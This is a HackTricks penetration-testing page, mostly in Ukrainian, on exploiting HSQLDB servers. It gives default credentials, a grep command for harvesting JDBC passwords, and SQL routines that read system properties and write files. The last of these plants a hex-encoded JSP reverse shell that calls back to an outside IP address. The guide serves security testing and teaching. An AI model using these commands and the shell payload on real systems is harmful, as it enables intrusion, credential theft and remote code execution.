9001 - Pentesting HSQLDB

Support HackTricks

Основна інформація

HSQLDB (HyperSQL DataBase) є провідною системою реляційних баз даних SQL, написаною на Java. Вона пропонує невеликий, швидкий багатопотоковий та транзакційний механізм бази даних з таблицями в пам'яті та на диску, а також підтримує вбудовані та серверні режими.

Порт за замовчуванням: 9001

9001/tcp open  jdbc      HSQLDB JDBC (Network Compatibility Version 2.3.4.0)

Інформація

Налаштування за замовчуванням

Зверніть увагу, що за замовчуванням ця служба, ймовірно, працює в пам'яті або прив'язана до localhost. Якщо ви її знайшли, ви, напевно, експлуатували іншу службу і намагаєтеся підвищити привілеї.

Налаштування за замовчуванням зазвичай sa з порожнім паролем.

Якщо ви експлуатували іншу службу, шукайте можливі облікові дані, використовуючи

grep -rP 'jdbc:hsqldb.*password.*' /path/to/search

Зверніть увагу на назву бази даних - вона знадобиться для підключення.

Збір інформації

Підключіться до екземпляра БД, завантаживши HSQLDB та витягнувши hsqldb/lib/hsqldb.jar. Запустіть GUI додаток (eww) за допомогою java -jar hsqldb.jar і підключіться до екземпляра, використовуючи виявлені/слабкі облікові дані.

Зверніть увагу, що URL підключення виглядатиме приблизно так для віддаленої системи: jdbc:hsqldb:hsql://ip/DBNAME.

Хитрощі

Рутини мови Java

Ми можемо викликати статичні методи класу Java з HSQLDB, використовуючи рутини мови Java. Зверніть увагу, що викликаний клас повинен бути в класpath програми.

JRT можуть бути функціями або процедурами. Функції можна викликати через SQL-інструкції, якщо метод Java повертає одну або кілька SQL-сумісних примітивних змінних. Вони викликаються за допомогою інструкції VALUES.

Якщо метод Java, який ми хочемо викликати, повертає void, нам потрібно використовувати процедуру, викликану за допомогою інструкції CALL.

Читання властивостей системи Java

Створіть функцію:

CREATE FUNCTION getsystemproperty(IN key VARCHAR) RETURNS VARCHAR LANGUAGE JAVA
DETERMINISTIC NO SQL
EXTERNAL NAME 'CLASSPATH:java.lang.System.getProperty'

Виконати функцію:

VALUES(getsystemproperty('user.name'))

You can find a list of system properties here.

Запис вмісту у файл

You can use the com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename Java gadget located in the JDK (auto loaded into the class path of the application) to write hex-encoded items to disk via a custom procedure. Зверніть увагу на максимальний розмір 1024 байти.

Create procedure:

CREATE PROCEDURE writetofile(IN paramString VARCHAR, IN paramArrayOfByte VARBINARY(1024))
LANGUAGE JAVA DETERMINISTIC NO SQL EXTERNAL NAME
'CLASSPATH:com.sun.org.apache.xml.internal.security.utils.JavaUtils.writeBytesToFilename'

Виконати процедуру:

call writetofile('/path/ROOT/shell.jsp', cast ('3c2540207061676520696d706f72743d226a6176612e696f2e2a2220253e0a3c250a202020537472696e6720636d64203d20222f62696e2f62617368202d69203e26202f6465762f7463702f3139322e3136382e3131392[...]' AS VARBINARY(1024)))
Підтримайте HackTricks

Last updated